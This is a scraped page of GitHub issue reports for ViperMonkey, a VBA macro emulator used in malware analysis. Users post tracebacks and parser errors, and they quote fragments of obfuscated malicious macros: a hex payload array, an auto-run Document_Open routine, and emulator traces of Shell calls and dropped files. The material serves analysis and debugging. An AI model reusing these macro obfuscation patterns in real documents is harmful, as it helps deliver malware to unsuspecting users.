H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H
00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H06&HFE&HFD&HAA&HD9&HCE&HBF&H07&H3F&HF6&H17&H89&H6E&HA8&H41&H86&HFC&H16&HED&HDC&H77&HBF&H0C&H76&HF4&H82&H88&H80&H3E&H77&H22&HEE
End SubPrivate Function ypqkgprlrkwz(ByVal ikhdopfqppzx As String) As String
Dim tbjpubienmri As Long
For tbjpubienmri = 1 To Len(ikhdopfqppzx) Step 2
ypqkgprlrkwz = ypqkgprlrkwz & Chr$(Val("&H" & Mid$(ikhdopfqppzx, tbjpubienmri, 2)))
Next tbjpubienmri
End Function


PARSING VBA CODE:
Module None
Sub Auto_Open (): 1 statement(s)

Sub fbbqjtjfsdnzrdatj()
^
Expected end of text (at char 95), (line:7, col:1)
Parse Error. Processing Aborted.

Eval error

When running against the sample here (http://pastebin.com/7Pp2p7Yg), I get the below error. I have tried against several different samples, and always get the same result.

EVALUATED VBA EXPRESSIONS:
Traceback (most recent call last):
File "./vmonkey.py", line 215, in process_file_scanexpr
for expression, expr_eval in scan_expressions(all_code):
File "/home/tbearden/bin/tools/malware/ViperMonkey/vipermonkey/core/init.py", line 205, in scan_expressions
yield (e, e.eval())
TypeError: eval() takes at least 2 arguments (1 given)

Am I missing some requirement? or just running through weird samples?

Make vmonkey's output more meaningful

Sorry if this is not a place to Ask something like this. ;)

This is the Result of the Macro. There are lot's of warnings but I am not any smarter what Shell Function will run. :(
MD5: 5533c54f77659ee6198c3e6f5485e6f2

TRACING VBA CODE (entrypoint = Auto*):
INFO     ACTION: Found Entry Point - params 'document_open' - 
INFO     evaluating Sub Document_open
WARNING  Variable 'IHLqsQXuiXFKJAfSwJF' not found
WARNING  Variable 'HGUhvqSdZdmpItfnMQ' not found
WARNING  Variable 'BLkIKAsQYliSmBzjNbMVsVv' not found
WARNING  Variable 'ARcoFzOaDwBFuiVKHisonKIU' not found
WARNING  Variable 'qKfcSRJGtsdcKz' not found
WARNING  Variable 'BTLBQCLmccAvmzIV' not found
WARNING  Variable 'zJiNQoMptPUvfhVZFAUvQr' not found
WARNING  Variable 'PJrOIZsqbwTjwnzwF' not found
INFO     calling Function: Shapes('zTnWboDjz')
INFO     Looking up doc var shapes('ztnwbodjz').textframe
WARNING  Variable 'jYwhGpospcJhTCQICNLDYTiw' not found
INFO     Looking up doc var kqshztn.containingrange
WARNING  Variable 'fbvuwib' not found
WARNING  Variable 'UcmjJE' not found
WARNING  Variable 'qXHBh' not found
WARNING  Variable 'KVVVQoFw' not found
WARNING  Variable 'BzpHpla' not found
WARNING  Variable 'aFQsUEr' not found
WARNING  Variable 'idLnl' not found
WARNING  Variable 'vlNFC' not found
WARNING  Variable 'RLIBq' not found
WARNING  Variable 'DoiJb' not found
WARNING  Variable 'waHtfjE' not found
WARNING  Variable 'zbVzcnDwwoiqjDnUHQkT' not found
WARNING  Variable 'rzKnTXbpvNbwGbjEEJVBaBP' not found
WARNING  Variable 'lJTSWACZprkOSHCNhVTB' not found
WARNING  Variable 'TapSUSsHXiNHFzVpLu' not found
WARNING  Variable 'bMjiiU' not found
WARNING  Variable 'dOjutwL' not found
WARNING  Variable 'tmRQGMYr' not found
INFO     calling Function: Shell('KqShZtn.ContainingRange', 0)
INFO     Shell('KqShZtn.ContainingRange')
INFO     ACTION: Execute Command - params 'KqShZtn.ContainingRange' - Shell function
WARNING  Variable 'MumMhwRW' not found
INFO     calling Function: Array('NULL', 'NULL', 'NULL', 0, 'NULL')
WARNING  Variable 'jSzXLUGKWHsnmlGnfw' not found
Recorded Actions:
+-------------------+-------------------------+----------------+
| Action            | Parameters              | Description    |
+-------------------+-------------------------+----------------+
| Found Entry Point | document_open           |                |
| Execute Command   | KqShZtn.ContainingRange | Shell function |
+-------------------+-------------------------+----------------+

VBA Builtins Called: ['Array', 'Chr', 'Shapes', 'Shell']

Possible Typo

You have the following in the vmonkey.py code: #!/usr/bin/env pyp

Shell Constants in vba_library.py

        # Shell Constants
        ('vbHide', 0),
        ('vbNormalFocus', 1),
        ('vbMinimizedFocus.', 2),
        ('vbMaximizedFocus', 3),
        ('vbNormalNoFocus', 4),
        ('vbMinimizedNoFocus', 6),

Fails to run from $PATH

aphrodite@cleopatra:~$ vmonkey.py /var/cache/mail/F43942_7777204.docm
Traceback (most recent call last):
File "/usr/local/bin/vmonkey.py", line 4, in
import('pkg_resources').run_script('vipermonkey==0.02', 'vmonkey.py')
File "/usr/lib/python2.7/dist-packages/pkg_resources.py", line 534, in run_script
self.require(requires)[0].run_script(script_name, ns)
File "/usr/lib/python2.7/dist-packages/pkg_resources.py", line 1445, in run_script
exec(script_code, namespace, namespace)
File "/usr/local/lib/python2.7/dist-packages/vipermonkey-0.02-py2.7.egg/EGG-INFO/scripts/vmonkey.py", line 95, in

ImportError: No module named core

I can run it from my clone of the git repository, but the setup.py results seem to be borked. Version info:
3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2+deb8u3 (2016-07-02) x86_64 GNU/Linux
Python3: 3.4.2, Python2: 2.7.9 (default)

ParserElement not defined

Hello ,

I am new to using this tool.

When I am trying to execute the python code, it shows me this error.

Traceback (most recent call last):
File "vmonkey.py", line 103, in
from core import *
File "/home/remnux/Desktop/ViperMonkey/ViperMonkey-master/vipermonkey/core/init.py", line 91, in
ParserElement.enablePackrat()
NameError: global name 'ParserElement' is not defined

Any help is highly appreciated.

unidecode

Awesome project!

A fresh install needed the python library unidecode installed as well. Guessing it should be added to requirements.txt?

Errors: Impossible to sum arguments of different types / Procedure 'Shell$' not found

While trying to analyse

https://www.hybrid-analysis.com/sample/87932d65692f2d4051b12b4a20fb44e083a34a163aea29c23cfcbe9f5c657237?environmentId=100

two errors occured:

INFO     Eval Params before calling Procedure: Shell$(([PSluscsHX + Chr(34) + BUVwivWCOGU + kRrNpFBYEu + muVjFaKPL + EEvZQVmhC + jkQVUNq + KJsnJq + EMjVc + qwbDQbnFMp + qLJkQ + SiNWTm + wOQjqJd + oWpWEKB + ZjTWZo + zVAEIAZc + HqjIPzsccL + zfbXDIAUCK + WTndRGr + oaFpKQnGph + uMrGThuWao + bDMhWESUDF + KrZDPjYCzwP + vKLVFV + OMsJPFQliiR + rXNTaBYiszK + YBMVcDwYHwP + hsNadAkBWi + jDRAVuUCWHr + DzhwwKmjVGP + kmXRYClNMqM + fwksZhl + WCYWnjw + ZIQdCsXkaW + ZrWSFV + uBzQDUTIr + LrBKZD + lUocPcMN + Gvofkth + LdSvCbDXJ + URtazUKn + NUYpuLm + DhzFi + QTluDIjmk + WqOzYRP + TitqiBiOjAf + zaphP + XSDSjF + QjvwdjDwL + mzvIBbDNuP + fTFir + LaXihUhMuE + mNtilLRO + KnaKDId + vWZCMK + dasMz + oapYEszoBMb + wUNHXolL + wAZKGbNpDNK + iRcJKTkWzK + pFCpNDOk + MKtNjjLa + kwMOiOqRv + YLzklaCjDo, 0], {}))
ERROR    Impossible to sum arguments of different types
INFO     Calling Procedure: Shell$([0, 0])
ERROR    Procedure 'Shell$' not found
Recorded Actions:
+--------+------------+-------------+
| Action | Parameters | Description |
+--------+------------+-------------+
+--------+------------+-------------+

Full debug log attached.
log.txt

Attribute Error extract_form_strings_extended

Testing this out for the first time and got the following error:

Traceback (most recent call last):
  File "vmonkey.py", line 319, in process_file
    for (subfilename, stream_path, form_variables) in vba.extract_form_strings_extended():
AttributeError: 'VBA_Parser' object has no attribute 'extract_form_strings_extended'

File MD5 is 1e094c664713fffd2ea965adf874a053

vmonkey - prettytable import issue

Issue reported on Twitter:

Think you’ve missed ”import prettytable” in ”ViperMonkey” version 0.05. :)

Just to clarify. I am running the latest version of oletools. Adding “import prettytable” on it’s own line fixed the error I got. No idea why the “from oletools.thirdparty..prettytable” line got ignored. :/

Solution: remove dependency to oletools' thirdparty folder, and import prettytable from its normal location.

Cannot read document variables

Describe the bug
ERROR Cannot read document variables. [Errno 2] No such file or directory: '1b2a9b3e9405c55a6b4d48bb77226c53'
ERROR Cannot read custom doc properties. [Errno 2] No such file or directory: '1b2a9b3e9405c55a6b4d48bb77226c53'
ERROR Cannot read document text from 1b2a9b3e9405c55a6b4d48bb77226c53. [Errno 2] No such file or directory: '1b2a9b3e9405c55a6b4d48bb77226c53'
ERROR Cannot read form strings. 'VBA_Parser' object has no attribute 'extract

Desktop (please complete the following information):

  • OS: Win7 - 32bit

Additional context

Module None
Sub CgCydi ([wUtzAWZ as Integer]): 13 statement(s)
Sub YNTfFJ ([lmCgoO as String, OZLWlnM as Boolean, vVFKdxx as Boolean, DpvoKQas String, SncUfb as Boolean]): 13 statement(s)
Function vwjVsi ([PRbGUQ as String, AHUOzN as Boolean]): 14 statement(s)

ERROR Cannot read document variables. [Errno 2] No such file or directory: '1b2a9b3e9405c55a6b4d48bb77226c53'
ERROR Cannot read custom doc properties. [Errno 2] No such file or directory: '1b2a9b3e9405c55a6b4d48bb77226c53'
ERROR Cannot read document text from 1b2a9b3e9405c55a6b4d48bb77226c53. [Errno 2] No such file or directory: '1b2a9b3e9405c55a6b4d48bb77226c53'
ERROR Cannot read form strings. 'VBA_Parser' object has no attribute 'extract
_form_strings_extended'
Traceback (most recent call last):
File "c:\Python27\lib\site-packages\vipermonkey-0.7-py2.7.egg\vipermonkey\vmonkey.py", line 773, in process_file
for (subfilename, stream_path, form_variables) in vba.extract_form_strings_extended():
AttributeError: 'VBA_Parser' object has no attribute 'extract_form_strings_extended'
Traceback (most recent call last):
File "c:\Python27\lib\site-packages\vipermonkey-0.7-py2.7.egg\vipermonkey\vmonkey.py", line 828, in process_file raise e
AttributeError: 'VBA_Parser' object has no attribute 'extract_form_strings_extended'

parsing error - several type definitions on one line

Error when parsing this sample: https://app.any.run/tasks/d6050bc0-4084-4e8f-92b8-ad2eb9fe59c1

source: https://twitter.com/cybercdh/status/1030121638556323842

Version: vmonkey 0.07 on Windows 10, python 2.7.14

From the error message below, it looks like the cause is two type definitions on the same line, separated by a colon.

-------------------------------------------------------------------------------
PARSING VBA CODE:
Module None

Private Type QEkuzinRWhPUgNzqXlLhMSYvHI: DmcfgZEbnpoKfUMVWmhkuEuqhLgMPw As Long: JRhVAdfHnjGJqZhgVQIxX As Long: rSYbcxCuiXxWxSllDvWHbHTqct As Long: gEYXaoxvmcKeChxhIFQC As Long: End Type: Private Type HlQRRmytCbMfFVvXyeGhnerWF: CrhVlVetNDAcbosudRmuRY As Long: sYHEoxAXpTwaSoGgKPUroGy As Long: iTLHNtUwgPkRXFjGPBCCJhq As Long: fuYwEnEbZfgGdDmVksgQkBqISRj As Long: ZfnJfdGAinanoOPEzLEJphh As Long: spKZVRkkVTgkmEeJjCMrDWbiogV As Long: ZfnJfdGAinanoOPEzLEJphhSize As Long: spKZVRkkVTgkmEeJjCMrDWbiogVSize As Long: ZfnJfdGAinanoOPEzLEJphhCountChars As Long: spKZVRkkVTgkmEeJjCMrDWbiogVCountChars As Long: sfcAepyfrwIaQSSZECZntsbH As Long: TLaCnKPQbSqsxRtypRZNnnTo As Long: gKeJXmuWxXRgZogwXSIGWCVs As Integer: CrhVlVetNDAcbosudRmuRYReserved2 As Integer: sYHEoxAXpTwaSoGgKPUroGy2 As Byte: hvtTXNAVBFpldXbJzBXiQmQHHAMfMy As Long: MaKlFtENCqZEgeJtfQFgcFX As Long: TqsKAKvLCqbNIvYUhQcnkP As Long: End Type
                                                                                                                                                                                          ^
Expected end of text (at char 186), (line:1, col:187)
Parse Error. Processing Aborted.

Too many open files

Hi, I run analysis and it' started to show real meaning of the macro and then at the end

.
.
.
INFO     calling Function: QEh('C:\\ProgramData\\golangSource.htm', 'l')
INFO     calling Function: ERb('C:\\ProgramData\\golangSource.html', '[version]\r\nSignature =$chicago$\r\n\r\n...)
INFO     calling Function: CreateObject('Scripting.FileSystemObject')
INFO     ACTION: CreateObject - params ['Scripting.FileSystemObject'] - Interesting Function Call
INFO     calling Function: CreateTextFile('C:\\ProgramData\\golangSource.html', True, True)
INFO     ACTION: CreateTextFile - params ['C:\\ProgramData\\golangSource.html', True, True] - Interesting Function Call
INFO     calling Function: Write('[version]\r\nSignature =$chicago$\r\n\r\n[golangSource]\r\nUnRegisterOCXs = Eve...)
ERROR    Cannot process Write(). Too many open files.

Segmentation fault (core dumped)

Reproducing 'Sample 2' Results

It'd be great to have a working example that demonstrates the script in action, so I tried reproducing the results shown at http://decalage.info/vba_emulation (Specifically Sample 2, using file with hash a5e14eecf6beb956732790b05df001ce4fe0f001022f75dd1952d529d2eb9c11). Running vmonkey.py -l debug /tmp/a5e14eec_example.doc results in the following error, though:

DEBUG    parsed Procedure Call: CreateObject(([JTCKC('64N63S')], {}))
DEBUG    saving func decl: 'JTCKC'
Module None
  Function JTCKC ([RBMCBAT]): 3 statement(s)

Private Sub Document_Open() 'JbRney0GnDXL catHu8ErP130RtVq lk wR wc
^
Expected end of text (at char 710), (line:15, col:1)

This is the code associated with Document_Open():

Private Sub Document_Open() 'JbRney0GnDXL catHu8ErP130RtVq lk wR wc
't1o8gNLoZEh 2cGUxt f3kWRKvw n5Wmn5 ln6nR
On Error Resume Next: 'HDVURt uKsTaU9F1HLonjXUxJt3lXoBFh5bQs
'k qx h68SLkSpK8Jfd1C73uOnt0af 897
CreateObject (JTCKC("64N63S")): 'T 5p xDV UvmLPjNp 5CcmzcgHlfe laV68rt
'0i4Jf5t HJxqAj iNElR oRCs ONRASv
If Err.Number > 0 Then 'bOtz8ghmjsUkiwuDl a1 6 5848 eRKUx
'mfPpaHuEO brs42Hs nSEJo9aPy xQOXNy
Dim FSGOPS: 'c gvoTbJ AywjkICIyTaEjdu2G6yE 2B8Kkhy
'1NF i4r QMaT s6 P2HDn8UXbKEH6c6n3Ma
FSGOPS = FSGOPS & JTCKC("34A34F4AL36Q39V50B37H33M56T36Y33D42J36P46U48Z37F35L4EQ36V45C54H37M34Z5AF32K30P45U37B34G4CL36T39Y52D36J33O57U36Z42E44J36P35V49Z37E34K4FQ32V30A55F33L32R41W33B35H47M32S34W4DC32H30N55S30X44D41J30O41T46Y32E33J4CP35U37Z53E34J31P58U32B30G44L33S31X4BE33J36O50U33Z34E56J33P35W42A32G44N49S36X37E4FJ33Q36W55B33H31N42S33Y37E48L33Q39V4FA33G35L55R30X44D5AI30O41V46Z30F44K4CQ30W41B51H32N44S57Y32F44K"): 'MtgV8rl3yJoMAqMAlTg8wKADwunaocdL zdkt1As
...

It sounds like there's a problem parsing the If Err.Number > 0 Then line, since you don't see a 'parsed ...' statement associated with that line (even though the line associated with the exception is for the overarching function.). Does that sound right?

I tried switching to vbashell.py to use the line parsing mode with the following change:

diff --git a/vipermonkey/vbashell.py b/vipermonkey/vbashell.py
index 06b9288..737d66c 100644
--- a/vipermonkey/vbashell.py
+++ b/vipermonkey/vbashell.py
@@ -82,7 +82,7 @@ def parse(filename=None):
     else:
         print('Parsing file %r' % filename)
         code = open(filename).read()
-    vm.add_module(code)
+    vm.add_module2(code)
 
 def eval_expression(e):
     print('Evaluating %s' % e)

I copied the VB script displayed when running vmonkey.py into it's own text file, and then ran vbashell.py with vbashell.py -p /tmp/vbscript.txt -l debug. There were a few new errors reported, specifically related to the : '<comment> at the end of some of the lines. I was able to fix some of those with the following changes:

diff --git a/vipermonkey/core/__init__.py b/vipermonkey/core/__init__.py
index e01e2d8..f1ba4c5 100644
--- a/vipermonkey/core/__init__.py
+++ b/vipermonkey/core/__init__.py
@@ -208,7 +210,7 @@ class ViperMonkey(object):
                     line_keywords = line_keywords[1:]
                 if line_keywords[0] == 'attribute':
                     l = header_statements_line.parseString(line, parseAll=True)
-                elif line_keywords[0] in ('option', 'dim', 'declare'):
+                elif line_keywords[0] in ('option', 'declare'):
                     log.debug('DECLARATION LINE')
                     l = declaration_statements_line.parseString(line, parseAll=True)
                 elif line_keywords[0] == 'sub':

diff --git a/vipermonkey/core/statements.py b/vipermonkey/core/statements.py
index 5e3fe3c..a0e8a8a 100644
--- a/vipermonkey/core/statements.py
+++ b/vipermonkey/core/statements.py
@@ -608,10 +608,10 @@ simple_for_statement.setParseAction(For_Statement)
 # for_statement.setParseAction(For_Statement)
 
 # For the line parser:
-for_start = for_clause + Suppress(EOL)
+for_start = for_clause + Suppress(EOS)
 for_start.setParseAction(For_Statement)
 
-for_end = CaselessKeyword("Next").suppress() + Optional(lex_identifier) + Suppress(EOL)
+for_end = CaselessKeyword("Next").suppress() + Optional(lex_identifier) + Suppress(EOS)
 
 # --- WHILE statement -----------------------------------------------------------
 
@@ -1182,7 +1182,7 @@ on_error_statement.setParseAction(On_Error_Statement)
 # simple statement: fits on a single line (excluding for/if/do/etc blocks)
 simple_statement = dim_statement | option_statement | (let_statement ^ call_statement ^ label_statement) | exit_for_statement | \
                    exit_func_statement | redim_statement | goto_statement | on_error_statement
-simple_statements_line <<= simple_statement + ZeroOrMore(Suppress(':') + simple_statement)
+simple_statements_line <<= simple_statement + ZeroOrMore(Suppress(':') + simple_statement) + EOS.suppress()
 
 # statement has to be declared beforehand using Forward(), so here we use
 # the "<<=" operator:

I'm currently stuck at the following error message, which seems related to the first one:

DEBUG    Parsing line 21: If Err.Number > 0 Then 'bOtz8ghmjsUkiwuDl a1 6 5848 eRKUx
DEBUG    line_keywords: ['if', 'err.number', "> 0 then 'botz8ghmjsukiwudl a1 6 5848 erkux\n"]
*** PARSING ERROR (3) ***
If Err.Number > 0 Then 'bOtz8ghmjsUkiwuDl a1 6 5848 eRKUx

Anyway, does it seem like I'm on the right track with this? Also, in general, do you have any advice for debugging these parsing issues? Thanks!

Expected end of text error throwing in script


PARSING VBA CODE:
INFO parsed Sub Img_Painted ([hHZIubL as Long, AoLnF as IInkRectangle]): 3 statement(s)
Module 'ThisDocument'
Sub Img_Painted ([hHZIubL as Long, AoLnF as IInkRectangle]): 3 statement(s)

*** PARSING ERROR ***
Public Sub xvkBjM()
^

Expected end of text (at char 526), (line:16, col:1)

TRACING VBA CODE (entrypoint = Auto*):
Recorded Actions:
+--------+------------+-------------+
| Action | Parameters | Description |
+--------+------------+-------------+
+--------+------------+-------------+

Use a better parser

I think that a significant issue with ViperMonkey is that its parser doesn't support many VB features (see #2, #6, #12, #16, and I just ran into an issue myself). Rather than writing a parser "by hand", I suggest to use an existing grammar, eg. this ANTL4 grammar for VB6, and work from there: the parser will simply accept all valid constructs, and it will be up to ViperMonkey to implement them instead.

NameError: name 'ParserElement' is not defined

Hi,
seems that using latest version of oletools (0.52.dev12) Vmonkey raises a traceback about pyparsing module.
File "/usr/local/lib/python2.7/dist-packages/vipermonkey-0.5-py2.7.egg/vipermonkey/core/init.py", line 91, in
ParserElement.enablePackrat()
NameError: name 'ParserElement' is not defined
Using older version of oletools everything is ok.
regards

Error:Expected end of text exception.

Hi, I love your tool , but got "Expected end of text" exception.

log is here.

PARSING VBA CODE:
INFO parsed Function sarneoolop (): 4 statement(s)
INFO parsed Function zygotosfoot (): 1 statement(s)
INFO parsed Function underfelles (): 1 statement(s)
INFO parsed Sub Workbook_Open (): 1 statement(s)
INFO parsed Function beerlonger (): 2 statement(s)
INFO parsed Function tentengole (): 7 statement(s)
INFO parsed Function herjioolokd (): 1 statement(s)
INFO parsed Function manmandeep (): 3 statement(s)
INFO parsed Function vellageteek (): 1 statement(s)
Module None
Sub Workbook_Open (): 1 statement(s)
Function beerlonger (): 2 statement(s)
Function zygotosfoot (): 1 statement(s)
Function tentengole (): 7 statement(s)
Function herjioolokd (): 1 statement(s)
Function vellageteek (): 1 statement(s)
Function manmandeep (): 3 statement(s)
Function underfelles (): 1 statement(s)
Function sarneoolop (): 4 statement(s)

Function catdogcat()
^
Expected end of text (at char 1879), (line:48, col:1)

TRACING VBA CODE (entrypoint = Auto*):
Recorded Actions:
+--------+------------+-------------+
| Action | Parameters | Description |
+--------+------------+-------------+
+--------+------------+-------------+

and macro is here.

test.txt

environment is here.

vipermonkey==0.5
pyparsing==2.2.0
oletools==0.52.1

can you help me ?

No module named colorlog

Describe the bug

$ python2.7 vmonkey.py
Traceback (most recent call last):
File "vmonkey.py", line 98, in <module>
import colorlog
ImportError: No module named colorlog

To Reproduce
Followed instructions in README to setup vmonkey:
Downloaded release
unzip ViperMonkey-master.zip
cd ViperMonkey-master
sudo python2.7 setup.py install
sudo pip install -U -r requirements.txt
Requirement already satisfied: oletools in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 1))
Requirement already satisfied: prettytable in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 2))
Requirement already satisfied: colorlog in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 3))
Requirement already satisfied: colorama in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 4))
Requirement already satisfied: pyparsing in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 5))
Requirement already satisfied: antlr4-python2-runtime in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 6))

cd vipermonkey
python2.7 vmonkey.py

Expected behavior
Anything but that

Screenshots
N/A

Desktop (please complete the following information):

  • OS: Ubuntu 16.04.5 (SIFT Workstation)
  • Python Version 2.7

Additional context
Tried with pypy, receive a different error about unidecode, posted in a different issue.

Missing dependency

vmonkey.py imports (and, therefore, depends on) olefile but the latter is missing both from requirements.txt and from setup.py. Consider adding it there.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.